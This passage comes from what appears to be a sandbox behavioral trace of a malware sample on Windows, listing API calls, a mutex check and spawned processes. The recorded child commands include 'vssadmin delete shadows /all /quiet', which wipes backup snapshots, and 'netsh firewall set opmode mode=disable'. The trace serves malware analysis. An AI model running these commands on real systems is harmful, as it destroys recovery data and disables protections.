lpMem=0x723d58 | out: hHeap=0x710000) returned 1 [0198.956] GetVersion () returned 0x1db10106 [0198.956] GetCurrentProcess () returned 0xffffffff [0198.956] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x38f77c | out: TokenHandle=0x38f77c*=0xa0) returned 1 [0198.956] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x14, TokenInformation=0x38f774, TokenInformationLength=0x4, ReturnLength=0x38f778 | out: TokenInformation=0x38f774, ReturnLength=0x38f778) returned 1 [0198.956] CloseHandle (hObject=0xa0) returned 1 [0198.956] GetProcessHeap () returned 0x710000 [0198.956] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x20) returned 0x723d58 [0198.956] GetProcessHeap () returned 0x710000 [0198.956] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x20a) returned 0x729be8 [0198.956] GetProcessHeap () returned 0x710000 [0198.956] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x20a) returned 0x729e00 [0198.956] GetProcessHeap () returned 0x710000 [0198.956] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x729be8 | out: hHeap=0x710000) returned 1 [0198.956] GetProcessHeap () returned 0x710000 [0198.956] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x729e00 | out: hHeap=0x710000) returned 1 [0198.956] GetProcessHeap () returned 0x710000 [0198.956] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x20) returned 0x723da8 [0198.956] GetProcessHeap () returned 0x710000 [0198.956] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x8, Size=0x1e) returned 0x723dd0 [0198.956] GetProcessHeap () returned 0x710000 [0198.956] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1e) returned 0x723df8 [0198.956] GetProcessHeap () returned 0x710000 [0198.956] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x90) returned 0x729be8 [0198.956] GetProcessHeap () returned 0x710000 [0198.956] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x729be8 | out: hHeap=0x710000) returned 1 [0198.956] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x723dd0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0198.956] GetProcessHeap () returned 0x710000 [0198.956] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x723df8 | out: hHeap=0x710000) returned 1 [0198.956] GetProcessHeap () returned 0x710000 [0198.956] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x723da8 | out: hHeap=0x710000) returned 1 [0198.957] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x38f734, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x38f734*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0198.957] GetProcessHeap () returned 0x710000 [0198.957] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x723dd0 | out: hHeap=0x710000) returned 1 [0198.957] GetProcessHeap () returned 0x710000 [0198.957] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x30) returned 0x729be8 [0198.957] GetProcessHeap () returned 0x710000 [0198.957] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x8, Size=0x2a) returned 0x729c20 [0198.957] GetProcessHeap () returned 0x710000 [0198.957] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x729c20, Size=0x52) returned 0x729c20 [0198.957] GetProcessHeap () returned 0x710000 [0198.957] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x729be8 | out: hHeap=0x710000) returned 1 [0198.957] GetProcessHeap () returned 0x710000 [0198.957] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x729c20 | out: hHeap=0x710000) returned 1 [0198.957] GetProcessHeap () returned 0x710000 [0198.957] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1c) returned 0x723dd0 [0198.957] GetProcessHeap () returned 0x710000 [0198.957] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1c) returned 0x723df8 [0198.957] GetProcessHeap () returned 0x710000 [0198.958] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x20) returned 0x729c00 [0198.958] GetProcessHeap () returned 0x710000 [0198.958] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x8, Size=0x1e) returned 0x729c28 [0198.958] GetProcessHeap () returned 0x710000 [0198.958] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1e) returned 0x729c50 [0198.958] GetProcessHeap () returned 0x710000 [0198.958] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x90) returned 0x72a3e8 [0198.958] GetProcessHeap () returned 0x710000 [0198.958] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x72a3e8 | out: hHeap=0x710000) returned 1 [0198.958] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x729c28, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0198.958] GetProcessHeap () returned 0x710000 [0198.958] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x729c50 | out: hHeap=0x710000) returned 1 [0198.958] GetProcessHeap () returned 0x710000 [0198.958] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x729c00 | out: hHeap=0x710000) returned 1 [0198.958] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x38f71c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x38f71c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0198.958] GetProcessHeap () returned 0x710000 [0198.958] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x729c28 | out: hHeap=0x710000) returned 1 [0198.958] GetProcessHeap () returned 0x710000 [0198.958] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x40) returned 0x724130 [0198.958] GetProcessHeap () returned 0x710000 [0198.958] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x8, Size=0x3a) returned 0x724178 [0198.958] GetProcessHeap () returned 0x710000 [0198.958] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x724178, Size=0x72) returned 0x71f8d8 [0198.958] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0xa0 [0198.958] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0x0) returned 0x102 [0198.958] CloseHandle (hObject=0xa0) returned 1 [0198.959] GetProcessHeap () returned 0x710000 [0198.959] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x724130 | out: hHeap=0x710000) returned 1 [0198.959] GetProcessHeap () returned 0x710000 [0198.959] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x71f8d8 | out: hHeap=0x710000) returned 1 [0198.959] GetProcessHeap () returned 0x710000 [0198.959] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x723dd0 | out: hHeap=0x710000) returned 1 [0198.959] GetProcessHeap () returned 0x710000 [0198.959] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x723df8 | out: hHeap=0x710000) returned 1 [0198.959] GetProcessHeap () returned 0x710000 [0198.959] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x723d58 | out: hHeap=0x710000) returned 1 [0198.959] GetProcessHeap () returned 0x710000 [0198.959] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x721818 | out: hHeap=0x710000) returned 1 [0198.959] GetProcessHeap () returned 0x710000 [0198.959] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7298a8 | out: hHeap=0x710000) returned 1 [0198.959] GetProcessHeap () returned 0x710000 [0198.959] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7264a0 | out: hHeap=0x710000) returned 1 [0198.959] GetProcessHeap () returned 0x710000 [0198.959] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7219f0 | out: hHeap=0x710000) returned 1 [0198.959] ExitProcess (uExitCode=0x0) Process: id = "17" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x6e8be000" os_pid = "0x640" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0x5fc" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea12" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 88 os_tid = 0x358 Thread: id = 89 os_tid = 0x454 Thread: id = 90 os_tid = 0x598 Thread: id = 91 os_tid = 0x6c0 Thread: id = 92 os_tid = 0x6e8 Process: id = "18" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x6e659000" os_pid = "0x6bc" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "17" os_parent_pid = "0x1d0" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:00032728" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 93 os_tid = 0x604 Thread: id = 94 os_tid = 0x344 Thread: id = 95 os_tid = 0x594 Thread: id = 96 os_tid = 0x5d0 [0205.886] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x44d700 | out: lpSystemTimeAsFileTime=0x44d700*(dwLowDateTime=0xdeac20, dwHighDateTime=0x1d696f4)) [0205.886] GetCurrentProcessId () returned 0x6bc [0205.886] GetCurrentThreadId () returned 0x5d0 [0205.886] GetTickCount () returned 0x113f364 [0205.886] QueryPerformanceCounter (in: lpPerformanceCount=0x44d708 | out: lpPerformanceCount=0x44d708*=13310377744) returned 1 [0205.886] malloc (_Size=0x100) returned 0x458e80 Thread: id = 97 os_tid = 0x450 Thread: id = 98 os_tid = 0x648 Thread: id = 99 os_tid = 0x274 Thread: id = 117 os_tid = 0x644 Thread: id = 127 os_tid = 0x7b0 Thread: id = 201 os_tid = 0x42c Process: id = "19" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xeae2000" os_pid = "0xc8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "18" os_parent_pid = "0x1d0" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e3b1" [0xc000000f], "LOCAL" [0x7] Thread: id = 100 os_tid = 0x324 Thread: id = 101 os_tid = 0x5d8 Thread: id = 102 os_tid = 0x520 Thread: id = 103 os_tid = 0x54c Thread: id = 104 os_tid = 0x538 Thread: id = 105 os_tid = 0x494 Thread: id = 106 os_tid = 0x41c Thread: id = 107 os_tid = 0x7dc Thread: id = 108 os_tid = 0x7d8 Thread: id = 109 os_tid = 0x7cc Thread: id = 110 os_tid = 0x5b8 Thread: id = 111 os_tid = 0x158 Thread: id = 112 os_tid = 0x128 Thread: id = 113 os_tid = 0x120 Thread: id = 114 os_tid = 0x11c Thread: id = 115 os_tid = 0x114 Thread: id = 116 os_tid = 0x64 Thread: id = 203 os_tid = 0x90 Thread: id = 214 os_tid = 0x770 Process: id = "20" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x6f05f000" os_pid = "0x58c" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "18" os_parent_pid = "0x1d0" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:00032cda" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 118 os_tid = 0x7c4 Thread: id = 119 os_tid = 0x7c8 Thread: id = 120 os_tid = 0x654 Thread: id = 121 os_tid = 0x650 Thread: id = 122 os_tid = 0x704 Thread: id = 123 os_tid = 0x6f0 Thread: id = 174 os_tid = 0x124 Thread: id = 227 os_tid = 0xd4 Process: id = "21" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xf1d3000" os_pid = "0x370" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "15" os_parent_pid = "0x1d0" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d4f1" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 132 os_tid = 0x588 Thread: id = 133 os_tid = 0x748 Thread: id = 134 os_tid = 0x730 Thread: id = 135 os_tid = 0x680 Thread: id = 136 os_tid = 0x6c4 Thread: id = 137 os_tid = 0x5b4 Thread: id = 138 os_tid = 0x348 Thread: id = 139 os_tid = 0x330 Thread: id = 140 os_tid = 0x584 Thread: id = 141 os_tid = 0x5a8 Thread: id = 142 os_tid = 0x778 Thread: id = 143 os_tid = 0x774 Thread: id = 144 os_tid = 0x768 Thread: id = 145 os_tid = 0x764 Thread: id = 146 os_tid = 0x754 Thread: id = 147 os_tid = 0x750 Thread: id = 148 os_tid = 0x744 Thread: id = 149 os_tid = 0x738 Thread: id = 150 os_tid = 0x734 Thread: id = 151 os_tid = 0x72c Thread: id = 152 os_tid = 0x728 Thread: id = 153 os_tid = 0x718 Thread: id = 154 os_tid = 0x220 Thread: id = 155 os_tid = 0x428 Thread: id = 156 os_tid = 0x478 Thread: id = 157 os_tid = 0x43c Thread: id = 158 os_tid = 0x434 Thread: id = 159 os_tid = 0x420 Thread: id = 160 os_tid = 0x40c Thread: id = 161 os_tid = 0x408 Thread: id = 162 os_tid = 0x174 Thread: id = 163 os_tid = 0x188 Thread: id = 164 os_tid = 0x15c Thread: id = 165 os_tid = 0x3fc Thread: id = 166 os_tid = 0x3f4 Thread: id = 167 os_tid = 0x3e8 Thread: id = 168 os_tid = 0x39c Thread: id = 169 os_tid = 0x398 Thread: id = 170 os_tid = 0x394 Thread: id = 171 os_tid = 0x390 Thread: id = 172 os_tid = 0x37c Thread: id = 173 os_tid = 0x374 Thread: id = 175 os_tid = 0x700 Thread: id = 176 os_tid = 0x560 Thread: id = 177 os_tid = 0x6d0 Thread: id = 178 os_tid = 0x570 Thread: id = 179 os_tid = 0x320 Thread: id = 180 os_tid = 0x42c Thread: id = 181 os_tid = 0x7f0 Thread: id = 182 os_tid = 0x1cc Thread: id = 183 os_tid = 0x90 Thread: id = 184 os_tid = 0xf0 Thread: id = 185 os_tid = 0x460 Thread: id = 186 os_tid = 0x6dc Thread: id = 187 os_tid = 0x4e4 Thread: id = 188 os_tid = 0x6cc Thread: id = 190 os_tid = 0x668 Thread: id = 191 os_tid = 0x4f4 Thread: id = 193 os_tid = 0x244 Thread: id = 209 os_tid = 0x554 Thread: id = 210 os_tid = 0x6fc Thread: id = 211 os_tid = 0x7d4 Thread: id = 212 os_tid = 0x328 Process: id = "22" image_name = "netsh.exe" filename = "c:\\windows\\system32\\netsh.exe" page_root = "0x63da7000" os_pid = "0x248" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "14" os_parent_pid = "0x310" cmd_line = "netsh firewall set opmode mode=disable" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea12" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 189 os_tid = 0x74c [0250.574] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24fc90 | out: lpSystemTimeAsFileTime=0x24fc90*(dwLowDateTime=0x1ae2f360, dwHighDateTime=0x1d696f4)) [0250.574] GetCurrentProcessId () returned 0x248 [0250.574] GetCurrentThreadId () returned 0x74c [0250.574] GetTickCount () returned 0x1149de5 [0250.574] QueryPerformanceCounter (in: lpPerformanceCount=0x24fc98 | out: lpPerformanceCount=0x24fc98*=17779161457) returned 1 [0250.574] GetModuleHandleW (lpModuleName=0x0) returned 0x13d0000 [0250.575] __set_app_type (_Type=0x1) [0250.575] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x13dad14) returned 0x0 [0251.383] __wgetmainargs (in: _Argc=0x13e55c0, _Argv=0x13e55d0, _Env=0x13e55c8, _DoWildCard=0, _StartInfo=0x13e55dc | out: _Argc=0x13e55c0, _Argv=0x13e55d0, _Env=0x13e55c8) returned 0 [0251.384] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0251.384] GetModuleHandleW (lpModuleName=0x0) returned 0x13d0000 [0251.384] _vsnwprintf (in: _Buffer=0x13e7a40, _BufferCount=0x1fff, _Format="%s>", _ArgList=0x2477e8 | out: _Buffer="netsh>") returned 6 [0251.385] GetProcessHeap () returned 0x3d0000 [0251.385] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f26f0 [0251.385] GetProcessHeap () returned 0x3d0000 [0251.385] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2710 [0251.385] GetProcessHeap () returned 0x3d0000 [0251.385] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2730 [0251.385] GetProcessHeap () returned 0x3d0000 [0251.385] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2750 [0251.385] GetProcessHeap () returned 0x3d0000 [0251.385] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2770 [0251.385] GetProcessHeap () returned 0x3d0000 [0251.385] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2790 [0251.385] GetProcessHeap () returned 0x3d0000 [0251.385] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f27e0 [0251.385] GetProcessHeap () returned 0x3d0000 [0251.385] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2800 [0251.385] GetProcessHeap () returned 0x3d0000 [0251.385] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2820 [0251.385] GetProcessHeap () returned 0x3d0000 [0251.385] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2840 [0251.385] GetProcessHeap () returned 0x3d0000 [0251.385] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2860 [0251.385] GetProcessHeap () returned 0x3d0000 [0251.385] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2880 [0251.385] GetProcessHeap () returned 0x3d0000 [0251.385] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f28a0 [0251.385] GetProcessHeap () returned 0x3d0000 [0251.386] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f28c0 [0251.386] GetProcessHeap () returned 0x3d0000 [0251.386] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f28e0 [0251.386] GetProcessHeap () returned 0x3d0000 [0251.386] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2900 [0251.386] GetProcessHeap () returned 0x3d0000 [0251.386] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2920 [0251.386] GetProcessHeap () returned 0x3d0000 [0251.386] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2940 [0251.386] GetProcessHeap () returned 0x3d0000 [0251.386] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2960 [0251.386] GetProcessHeap () returned 0x3d0000 [0251.386] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2980 [0251.386] GetProcessHeap () returned 0x3d0000 [0251.386] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f29a0 [0251.386] GetProcessHeap () returned 0x3d0000 [0251.386] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f29c0 [0251.386] GetProcessHeap () returned 0x3d0000 [0251.386] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f29e0 [0251.386] GetProcessHeap () returned 0x3d0000 [0251.386] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2a00 [0251.386] GetProcessHeap () returned 0x3d0000 [0251.386] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2a20 [0251.386] GetProcessHeap () returned 0x3d0000 [0251.386] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2a40 [0251.386] GetProcessHeap () returned 0x3d0000 [0251.386] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2a60 [0251.386] GetProcessHeap () returned 0x3d0000 [0251.386] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2a80 [0251.386] GetProcessHeap () returned 0x3d0000 [0251.386] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2aa0 [0251.386] GetProcessHeap () returned 0x3d0000 [0251.386] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2ac0 [0251.386] GetProcessHeap () returned 0x3d0000 [0251.386] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2ae0 [0251.387] GetProcessHeap () returned 0x3d0000 [0251.387] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2b00 [0251.387] GetProcessHeap () returned 0x3d0000 [0251.387] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2b20 [0251.387] GetProcessHeap () returned 0x3d0000 [0251.387] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2b40 [0251.387] GetProcessHeap () returned 0x3d0000 [0251.387] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2b60 [0251.387] GetProcessHeap () returned 0x3d0000 [0251.387] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2b80 [0251.387] GetProcessHeap () returned 0x3d0000 [0251.387] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2ba0 [0251.387] GetProcessHeap () returned 0x3d0000 [0251.387] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2bc0 [0251.387] GetProcessHeap () returned 0x3d0000 [0251.387] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2be0 [0251.387] GetProcessHeap () returned 0x3d0000 [0251.387] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2c00 [0251.387] GetProcessHeap () returned 0x3d0000 [0251.387] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2c20 [0251.387] GetProcessHeap () returned 0x3d0000 [0251.387] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2c40 [0251.387] GetProcessHeap () returned 0x3d0000 [0251.387] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2c60 [0251.387] GetProcessHeap () returned 0x3d0000 [0251.387] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2c80 [0251.387] GetProcessHeap () returned 0x3d0000 [0251.387] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2ca0 [0251.387] GetProcessHeap () returned 0x3d0000 [0251.387] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2cc0 [0251.388] GetProcessHeap () returned 0x3d0000 [0251.388] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2ce0 [0251.388] GetProcessHeap () returned 0x3d0000 [0251.388] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2d00 [0251.388] GetProcessHeap () returned 0x3d0000 [0251.388] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2d20 [0251.388] GetProcessHeap () returned 0x3d0000 [0251.388] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2d40 [0251.388] GetProcessHeap () returned 0x3d0000 [0251.388] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2d60 [0251.388] GetProcessHeap () returned 0x3d0000 [0251.388] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2d80 [0251.388] GetProcessHeap () returned 0x3d0000 [0251.388] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, 